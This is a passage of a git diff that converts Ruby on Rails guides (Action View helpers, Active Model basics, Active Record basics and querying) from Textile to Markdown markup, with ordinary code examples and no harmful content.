-Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
+Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
-h5. options_from_collection_for_select
+#### options_from_collection_for_select
-Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
+Returns a string of option tags that have been compiled by iterating over the `collection` and assigning the result of a call to the `value_method` as the option value and the `text_method` as the option text.
-<ruby>
+```ruby
# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
-</ruby>
+```
For example, imagine a loop iterating over each person in @project.people to generate an input tag:
-<ruby>
+```ruby
options_from_collection_for_select(@project.people, "id", "name")
# => <option value="#{person.id}">#{person.name}</option>
-</ruby>
+```
-Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
+Note: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag.
-h5. select
+#### select
Create a select tag and a series of contained option tags for the provided object and method.
Example:
-<ruby>
+```ruby
select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true })
-</ruby>
+```
-If <tt>@post.person_id</tt> is 1, this would become:
+If `@post.person_id` is 1, this would become:
-<html>
+```html
<select name="post[person_id]">
<option value=""></option>
<option value="1" selected="selected">David</option>
<option value="2">Sam</option>
<option value="3">Tobias</option>
</select>
-</html>
+```
-h5. time_zone_options_for_select
+#### time_zone_options_for_select
Returns a string of option tags for pretty much any time zone in the world.
-h5. time_zone_select
+#### time_zone_select
-Return select and option tags for the given object and method, using +time_zone_options_for_select+ to generate the list of option tags.
+Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
-<ruby>
+```ruby
time_zone_select( "user", "time_zone")
-</ruby>
+```
-h4. FormTagHelper
+### FormTagHelper
Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
-h5. check_box_tag
+#### check_box_tag
Creates a check box form input tag.
-<ruby>
+```ruby
check_box_tag 'accept'
# => <input id="accept" name="accept" type="checkbox" value="1" />
-</ruby>
+```
-h5. field_set_tag
+#### field_set_tag
Creates a field set for grouping HTML form elements.
-<ruby>
+```html+erb
<%= field_set_tag do %>
<p><%= text_field_tag 'name' %></p>
<% end %>
# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
-</ruby>
+```
-h5. file_field_tag
+#### file_field_tag
Creates a file upload field.
Prior to Rails 3.1, if you are using file uploads, then you will need to set the multipart option for the form tag. Rails 3.1+ does this automatically.
-<ruby>
+```html+erb
<%= form_tag { :action => "post" }, { :multipart => true } do %>
<label for="file">File to Upload</label> <%= file_field_tag "file" %>
<%= submit_tag %>
<% end %>
-</ruby>
+```
Example output:
-<ruby>
+```ruby
file_field_tag 'attachment'
# => <input id="attachment" name="attachment" type="file" />
-</ruby>
+```
-h5. form_tag
+#### form_tag
-Starts a form tag that points the action to an url configured with +url_for_options+ just like +ActionController::Base#url_for+.
+Starts a form tag that points the action to an url configured with `url_for_options` just like `ActionController::Base#url_for`.
-<ruby>
+```html+erb
<%= form_tag '/posts' do %>
<div><%= submit_tag 'Save' %></div>
<% end %>
# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
-</ruby>
+```
-h5. hidden_field_tag
+#### hidden_field_tag
Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.
-<ruby>
+```ruby
hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
-</ruby>
+```
-h5. image_submit_tag
+#### image_submit_tag
Displays an image which when clicked will submit the form.
-<ruby>
+```ruby
image_submit_tag("login.png")
# => <input src="/images/login.png" type="image" />
-</ruby>
+```
-h5. label_tag
+#### label_tag
Creates a label field.
-<ruby>
+```ruby
label_tag 'name'
# => <label for="name">Name</label>
-</ruby>
+```
-h5. password_field_tag
+#### password_field_tag
Creates a password field, a masked text field that will hide the users input behind a mask character.
-<ruby>
+```ruby
password_field_tag 'pass'
# => <input id="pass" name="pass" type="password" />
-</ruby>
+```
-h5. radio_button_tag
+#### radio_button_tag
Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
-<ruby>
+```ruby
radio_button_tag 'gender', 'male'
# => <input id="gender_male" name="gender" type="radio" value="male" />
-</ruby>
+```
-h5. select_tag
+#### select_tag
Creates a dropdown selection box.
-<ruby>
+```ruby
select_tag "people", "<option>David</option>"
# => <select id="people" name="people"><option>David</option></select>
-</ruby>
+```
-h5. submit_tag
+#### submit_tag
Creates a submit button with the text provided as the caption.
-<ruby>
+```ruby
submit_tag "Publish this post"
# => <input name="commit" type="submit" value="Publish this post" />
-</ruby>
+```
-h5. text_area_tag
+#### text_area_tag
Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
-<ruby>
+```ruby
text_area_tag 'post'
# => <textarea id="post" name="post"></textarea>
-</ruby>
+```
-h5. text_field_tag
+#### text_field_tag
Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.
-<ruby>
+```ruby
text_field_tag 'name'
# => <input id="name" name="name" type="text" />
-</ruby>
+```
-h4. JavaScriptHelper
+### JavaScriptHelper
Provides functionality for working with JavaScript in your views.
-h5. button_to_function
+#### button_to_function
Returns a button that'll trigger a JavaScript function using the onclick handler. Examples:
-<ruby>
+```ruby
button_to_function "Greeting", "alert('Hello world!')"
button_to_function "Delete", "if (confirm('Really?')) do_delete()"
button_to_function "Details" do |page|
page[:details].visual_effect :toggle_slide
end
-</ruby>
+```
-h5. define_javascript_functions
+#### define_javascript_functions
-Includes the Action Pack JavaScript libraries inside a single +script+ tag.
+Includes the Action Pack JavaScript libraries inside a single `script` tag.
-h5. escape_javascript
+#### escape_javascript
Escape carrier returns and single and double quotes for JavaScript segments.
-h5. javascript_tag
+#### javascript_tag
Returns a JavaScript tag wrapping the provided code.
-<ruby>
+```ruby
javascript_tag "alert('All is good')"
-</ruby>
+```
-<html>
+```html
<script>
//<![CDATA[
alert('All is good')
//]]>
</script>
-</html>
+```
-h5. link_to_function
+#### link_to_function
Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact.
-<ruby>
+```ruby
link_to_function "Greeting", "alert('Hello world!')"
# => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a>
-</ruby>
+```
-h4. NumberHelper
+### NumberHelper
Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.
-h5. number_to_currency
+#### number_to_currency
Formats a number into a currency string (e.g., $13.65).
-<ruby>
+```ruby
number_to_currency(1234567890.50) # => $1,234,567,890.50
-</ruby>
+```
-h5. number_to_human_size
+#### number_to_human_size
Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.
-<ruby>
+```ruby
number_to_human_size(1234) # => 1.2 KB
number_to_human_size(1234567) # => 1.2 MB
-</ruby>
+```
-h5. number_to_percentage
+#### number_to_percentage
Formats a number as a percentage string.
-<ruby>
+```ruby
number_to_percentage(100, :precision => 0) # => 100%
-</ruby>
+```
-h5. number_to_phone
+#### number_to_phone
Formats a number into a US phone number.
-<ruby>
+```ruby
number_to_phone(1235551234) # => 123-555-1234
-</ruby>
+```
-h5. number_with_delimiter
+#### number_with_delimiter
Formats a number with grouped thousands using a delimiter.
-<ruby>
+```ruby
number_with_delimiter(12345678) # => 12,345,678
-</ruby>
+```
-h5. number_with_precision
+#### number_with_precision
-Formats a number with the specified level of +precision+, which defaults to 3.
+Formats a number with the specified level of `precision`, which defaults to 3.
-<ruby>
+```ruby
number_with_precision(111.2345) # => 111.235
number_with_precision(111.2345, 2) # => 111.23
-</ruby>
+```
-h3. Localized Views
+Localized Views
+---------------
Action View has the ability render different templates depending on the current locale.
-For example, suppose you have a Posts controller with a show action. By default, calling this action will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :de+, then +app/views/posts/show.de.html.erb+ will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
+For example, suppose you have a Posts controller with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
-You can use the same technique to localize the rescue files in your public directory. For example, setting +I18n.locale = :de+ and creating +public/500.de.html+ and +public/404.de.html+ would allow you to have localized rescue pages.
+You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.
-Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to +app/controllers/application.rb+:
+Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`:
-<ruby>
+```ruby
before_filter :set_expert_locale
def set_expert_locale
I18n.locale = :expert if current_user.expert?
end
-</ruby>
+```
-Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users.
+Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users.
-You can read more about the Rails Internationalization (I18n) API "here":i18n.html.
+You can read more about the Rails Internationalization (I18n) API [here](i18n.html).
diff --git a/guides/source/active_model_basics.textile b/guides/source/active_model_basics.md
index 2c30ddb84c..bfb088ed03 100644
--- a/guides/source/active_model_basics.textile
+++ b/guides/source/active_model_basics.md
@@ -1,20 +1,22 @@
-h2. Active Model Basics
+Active Model Basics
+===================
This guide should provide you with all you need to get started using model classes. Active Model allows for Action Pack helpers to interact with non-ActiveRecord models. Active Model also helps building custom ORMs for use outside of the Rails framework.
-endprologue.
+--------------------------------------------------------------------------------
WARNING. This guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
-h3. Introduction
+Introduction
+------------
Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below.
-h4. AttributeMethods
+### AttributeMethods
The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them.
-<ruby>
+```ruby
class Person
include ActiveModel::AttributeMethods
@@ -41,13 +43,13 @@ person.age_highest? # true
person.reset_age # 0
person.age_highest? # false
-</ruby>
+```
-h4. Callbacks
+### Callbacks
Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods.
-<ruby>
+```ruby
class Person
extend ActiveModel::Callbacks
@@ -65,13 +67,13 @@ class Person
# This method will call when you are calling update on object as a before_update callback as defined.
end
end
-</ruby>
+```
-h4. Conversion
+### Conversion
-If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class.
+If a class defines `persisted?` and `id` methods then you can include `Conversion` module in that class and you can able to call Rails conversion methods to objects of that class.
-<ruby>
+```ruby
class Person
include ActiveModel::Conversion
@@ -88,13 +90,13 @@ person = Person.new
person.to_model == person #=> true
person.to_key #=> nil
person.to_param #=> nil
-</ruby>
+```
-h4. Dirty
+### Dirty
An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes first_name and last_name
-<ruby>
+```ruby
require 'active_model'
class Person
@@ -124,11 +126,11 @@ class Person
end
end
-</ruby>
+```
-h5. Querying object directly for its list of all changed attributes.
+#### Querying object directly for its list of all changed attributes.
-<ruby>
+```ruby
person = Person.new
person.first_name = "First Name"
@@ -145,13 +147,13 @@ person.changed_attributes #=> {"first_name" => "First Name Changed"}
#returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
person.changes #=> {"first_name" => ["First Name","First Name Changed"]}
-</ruby>
+```
-h5. Attribute based accessor methods
+#### Attribute based accessor methods
Track whether the particular attribute has been changed or not.
-<ruby>
+```ruby
#attr_name_changed?
person.first_name #=> "First Name"
@@ -159,28 +161,28 @@ person.first_name #=> "First Name"
person.first_name = "First Name 1"
person.first_name_changed? #=> true
-</ruby>
+```
Track what was the previous value of the attribute.
-<ruby>
+```ruby
#attr_name_was accessor
person.first_name_was #=> "First Name"
-</ruby>
+```
Track both previous and current value of the changed attribute. Returns an array if changed, else returns nil.
-<ruby>
+```ruby
#attr_name_change
person.first_name_change #=> ["First Name", "First Name 1"]
person.last_name_change #=> nil
-</ruby>
+```
-h4. Validations
+### Validations
Validations module adds the ability to class objects to validate them in Active Record style.
-<ruby>
+```ruby
class Person
include ActiveModel::Validations
@@ -201,4 +203,4 @@ person.email = 'me@vishnuatrai.com'
person.valid? #=> true
person.token = nil
person.valid? #=> raises ActiveModel::StrictValidationFailed
-</ruby>
+```
diff --git a/guides/source/active_record_basics.textile b/guides/source/active_record_basics.md
index 487f8b70f9..5bc100f326 100644
--- a/guides/source/active_record_basics.textile
+++ b/guides/source/active_record_basics.md
@@ -1,4 +1,5 @@
-h2. Active Record Basics
+Active Record Basics
+====================
This guide is an introduction to Active Record. After reading this guide we hope that you'll learn:
@@ -8,21 +9,22 @@ This guide is an introduction to Active Record. After reading this guide we hope
* Active Record schema naming conventions
* The concepts of database migrations, validations and callbacks
-endprologue.
+--------------------------------------------------------------------------------
-h3. What is Active Record?
+What is Active Record?
+----------------------
-Active Record is the M in "MVC":getting_started.html#the-mvc-architecture - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.
+Active Record is the M in [MVC](getting_started.html#the-mvc-architecture) - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.
-h4. The Active Record Pattern
+### The Active Record Pattern
Active Record was described by Martin Fowler in his book _Patterns of Enterprise Application Architecture_. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic is part of the object will educate users of that object on how to write to and read from the database.
-h4. Object Relational Mapping
+### Object Relational Mapping
Object-Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code.
-h4. Active Record as an ORM Framework
+### Active Record as an ORM Framework
Active Record gives us several mechanisms, the most important being the ability to:
@@ -32,187 +34,195 @@ Active Record gives us several mechanisms, the most important being the ability
* Validate models before they get persisted to the database
* Perform database operations in an object-oriented fashion.
-h3. Convention over Configuration in Active Record
+Convention over Configuration in Active Record
+----------------------------------------------
When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating Active Record models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason.
-h4. Naming Conventions
+### Naming Conventions
-By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples:
+By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class `Book`, you should have a database table called **books**. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples:
-* Database Table - Plural with underscores separating words (e.g., +book_clubs+)
-* Model Class - Singular with the first letter of each word capitalized (e.g., +BookClub+)
+* Database Table - Plural with underscores separating words (e.g., `book_clubs`)
+* Model Class - Singular with the first letter of each word capitalized (e.g., `BookClub`)
-|_.Model / Class |_.Table / Schema |
-|+Post+ |+posts+|
-|+LineItem+ |+line_items+|
-|+Deer+ |+deer+|
-|+Mouse+ |+mice+|
-|+Person+ |+people+|
+| Model / Class | Table / Schema |
+| ------------- | -------------- |
+| `Post` | `posts` |
+| `LineItem` | `line_items` |
+| `Deer` | `deer` |
+| `Mouse` | `mice` |
+| `Person` | `people` |
-h4. Schema Conventions
+### Schema Conventions
Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns.
-* *Foreign keys* - These fields should be named following the pattern +singularized_table_name_id+ (e.g., +item_id+, +order_id+). These are the fields that Active Record will look for when you create associations between your models.
-* *Primary keys* - By default, Active Record will use an integer column named +id+ as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created.
+* **Foreign keys** - These fields should be named following the pattern `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the fields that Active Record will look for when you create associations between your models.
+* **Primary keys** - By default, Active Record will use an integer column named `id` as the table's primary key. When using [Rails Migrations](migrations.html) to create your tables, this column will be automatically created.
There are also some optional column names that will create additional features to Active Record instances:
-* +created_at+ - Automatically gets set to the current date and time when the record is first created.
-* +created_on+ - Automatically gets set to the current date when the record is first created.
-* +updated_at+ - Automatically gets set to the current date and time whenever the record is updated.
-* +updated_on+ - Automatically gets set to the current date whenever the record is updated.
-* +lock_version+ - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model.
-* +type+ - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html
-* +(table_name)_count+ - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post.
+* `created_at` - Automatically gets set to the current date and time when the record is first created.
+* `created_on` - Automatically gets set to the current date when the record is first created.
+* `updated_at` - Automatically gets set to the current date and time whenever the record is updated.
+* `updated_on` - Automatically gets set to the current date whenever the record is updated.
+* `lock_version` - Adds [optimistic locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a model.
+* `type` - Specifies that the model uses [Single Table Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html)
+* `(table_name)_count` - Used to cache the number of belonging objects on associations. For example, a `comments_count` column in a `Post` class that has many instances of `Comment` will cache the number of existent comments for each post.
-NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
+NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
-h3. Creating Active Record Models
+Creating Active Record Models
+-----------------------------
-It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go:
+It is very easy to create Active Record models. All you have to do is to subclass the `ActiveRecord::Base` class and you're good to go:
-<ruby>
+```ruby
class Product < ActiveRecord::Base
end
-</ruby>
+```
-This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like:
+This will create a `Product` model, mapped to a `products` table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the `products` table was created using an SQL sentence like:
-<sql>
+```sql
CREATE TABLE products (
id int(11) NOT NULL auto_increment,
name varchar(255),
PRIMARY KEY (id)
);
-</sql>
+```
Following the table schema above, you would be able to write code like the following:
-<ruby>
+```ruby
p = Product.new
p.name = "Some Book"
puts p.name # "Some Book"
-</ruby>
+```
-h3. Overriding the Naming Conventions
+Overriding the Naming Conventions
+---------------------------------
What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.
-You can use the +ActiveRecord::Base.table_name=+ method to specify the table name that should be used:
+You can use the `ActiveRecord::Base.table_name=` method to specify the table name that should be used:
-<ruby>
+```ruby
class Product < ActiveRecord::Base
self.table_name = "PRODUCT"
end
-</ruby>
+```
-If you do so, you will have to define manually the class name that is hosting the fixtures (class_name.yml) using the +set_fixture_class+ method in your test definition:
+If you do so, you will have to define manually the class name that is hosting the fixtures (class_name.yml) using the `set_fixture_class` method in your test definition:
-<ruby>
+```ruby
class FunnyJoke < ActiveSupport::TestCase
set_fixture_class :funny_jokes => 'Joke'
fixtures :funny_jokes
...
end
-</ruby>
+```
-It's also possible to override the column that should be used as the table's primary key using the +ActiveRecord::Base.set_primary_key+ method:
+It's also possible to override the column that should be used as the table's primary key using the `ActiveRecord::Base.set_primary_key` method:
-<ruby>
+```ruby
class Product < ActiveRecord::Base
set_primary_key "product_id"
end
-</ruby>
+```
-h3. CRUD: Reading and Writing Data
+CRUD: Reading and Writing Data
+------------------------------
-CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.
+CRUD is an acronym for the four verbs we use to operate on data: **C**reate, **R**ead, **U**pdate and **D**elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.
-h4. Create
+### Create
-Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database.
+Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The `new` method will return a new object while `create` will return the object and save it to the database.
-For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database:
+For example, given a model `User` with attributes of `name` and `occupation`, the `create` method call will create and save a new record into the database:
-<ruby>
+```ruby
user = User.create(:name => "David", :occupation => "Code Artist")
-</ruby>
+```
-Using the +new+ method, an object can be created without being saved:
+Using the `new` method, an object can be created without being saved:
-<ruby>
+```ruby
user = User.new
user.name = "David"
user.occupation = "Code Artist"
-</ruby>
+```
-A call to +user.save+ will commit the record to the database.
+A call to `user.save` will commit the record to the database.
-Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization:
+Finally, if a block is provided, both `create` and `new` will yield the new object to that block for initialization:
-<ruby>
+```ruby
user = User.new do |u|
u.name = "David"
u.occupation = "Code Artist"
end
-</ruby>
+```
-h4. Read
+### Read
Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record.
-<ruby>
+```ruby
# return array with all records
users = User.all
-</ruby>
+```
-<ruby>
+```ruby
# return the first record
user = User.first
-</ruby>
+```
-<ruby>
+```ruby
# return the first user named David
david = User.find_by_name('David')
-</ruby>
+```
-<ruby>
+```ruby
# find all users named David who are Code Artists and sort by created_at in reverse chronological order
users = User.where(:name => 'David', :occupation => 'Code Artist').order('created_at DESC')
-</ruby>
+```
-You can learn more about querying an Active Record model in the "Active Record Query Interface":"active_record_querying.html" guide.
+You can learn more about querying an Active Record model in the [Active Record Query Interface](active_record_querying.html) guide.
-h4. Update
+### Update
Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.
-<ruby>
+```ruby
user = User.find_by_name('David')
user.name = 'Dave'
user.save
-</ruby>
+```
-h4. Delete
+### Delete
Likewise, once retrieved an Active Record object can be destroyed which removes it from the database.
-<ruby>
+```ruby
user = User.find_by_name('David')
user.destroy
-</ruby>
+```
-h3. Validations
+Validations
+-----------
-Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview.
+Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the [Active Record Validations and Callbacks guide](active_record_validations_callbacks.html#validations-overview).
-h3. Callbacks
+Callbacks
+---------
-Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#callbacks-overview.
+Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the [Active Record Validations and Callbacks guide](active_record_validations_callbacks.html#callbacks-overview).
-h3. Migrations
+Migrations
+----------
-Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the "Active Record Migrations guide":migrations.html
+Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the [Active Record Migrations guide](migrations.html)
diff --git a/guides/source/active_record_querying.textile b/guides/source/active_record_querying.md
index 80c9260a0d..2fb0bf1d69 100644
--- a/guides/source/active_record_querying.textile
+++ b/guides/source/active_record_querying.md
@@ -1,4 +1,5 @@
-h2. Active Record Query Interface
+Active Record Query Interface
+=============================
This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:
@@ -10,680 +11,695 @@ This guide covers different ways to retrieve data from the database using Active
* Perform various calculations on Active Record models
* Run EXPLAIN on relations
-endprologue.
+--------------------------------------------------------------------------------
If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
Code examples throughout this guide will refer to one or more of the following models:
-TIP: All of the following models use +id+ as the primary key, unless specified otherwise.
+TIP: All of the following models use `id` as the primary key, unless specified otherwise.
-<ruby>
+```ruby
class Client < ActiveRecord::Base
has_one :address
has_many :orders
has_and_belongs_to_many :roles
end
-</ruby>
+```
-<ruby>
+```ruby
class Address < ActiveRecord::Base
belongs_to :client
end
-</ruby>
+```
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :client, :counter_cache => true
end
-</ruby>
+```
-<ruby>
+```ruby
class Role < ActiveRecord::Base
has_and_belongs_to_many :clients
end
-</ruby>
+```
Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
-h3. Retrieving Objects from the Database
+Retrieving Objects from the Database
+------------------------------------
To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.
The methods are:
-* +bind+
-* +create_with+
-* +eager_load+
-* +extending+
-* +from+
-* +group+
-* +having+
-* +includes+
-* +joins+
-* +limit+
-* +lock+
-* +none+
-* +offset+
-* +order+
-* +none+
-* +preload+
-* +readonly+
-* +references+
-* +reorder+
-* +reverse_order+
-* +select+
-* +uniq+
-* +where+
-
-All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>.
-
-The primary operation of <tt>Model.find(options)</tt> can be summarized as:
+
+* `bind`
+* `create_with`
+* `eager_load`
+* `extending`
+* `from`
+* `group`
+* `having`
+* `includes`
+* `joins`
+* `limit`
+* `lock`
+* `none`
+* `offset`
+* `order`
+* `none`
+* `preload`
+* `readonly`
+* `references`
+* `reorder`
+* `reverse_order`
+* `select`
+* `uniq`
+* `where`
+
+All of the above methods return an instance of `ActiveRecord::Relation`.
+
+The primary operation of `Model.find(options)` can be summarized as:
* Convert the supplied options to an equivalent SQL query.
* Fire the SQL query and retrieve the corresponding results from the database.
* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
-* Run +after_find+ callbacks, if any.
+* Run `after_find` callbacks, if any.
-h4. Retrieving a Single Object
+### Retrieving a Single Object
Active Record provides five different ways of retrieving a single object.
-h5. Using a Primary Key
+#### Using a Primary Key
-Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
+Using `Model.find(primary_key)`, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
-<ruby>
+```ruby
# Find the client with primary key (id) 10.
client = Client.find(10)
# => #<Client id: 10, first_name: "Ryan">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
-</sql>
+```
-<tt>Model.find(primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found.
+`Model.find(primary_key)` will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found.
-h5. +take+
+#### `take`
-<tt>Model.take</tt> retrieves a record without any implicit ordering. For example:
+`Model.take` retrieves a record without any implicit ordering. For example:
-<ruby>
+```ruby
client = Client.take
# => #<Client id: 1, first_name: "Lifo">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients LIMIT 1
-</sql>
+```
-<tt>Model.take</tt> returns +nil+ if no record is found and no exception will be raised.
+`Model.take` returns `nil` if no record is found and no exception will be raised.
TIP: The retrieved record may vary depending on the database engine.
-h5. +first+
+#### `first`
-<tt>Model.first</tt> finds the first record ordered by the primary key. For example:
+`Model.first` finds the first record ordered by the primary key. For example:
-<ruby>
+```ruby
client = Client.first
# => #<Client id: 1, first_name: "Lifo">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
-</sql>
+```
-<tt>Model.first</tt> returns +nil+ if no matching record is found and no exception will be raised.
+`Model.first` returns `nil` if no matching record is found and no exception will be raised.
-h5. +last+
+#### `last`
-<tt>Model.last</tt> finds the last record ordered by the primary key. For example:
+`Model.last` finds the last record ordered by the primary key. For example:
-<ruby>
+```ruby
client = Client.last
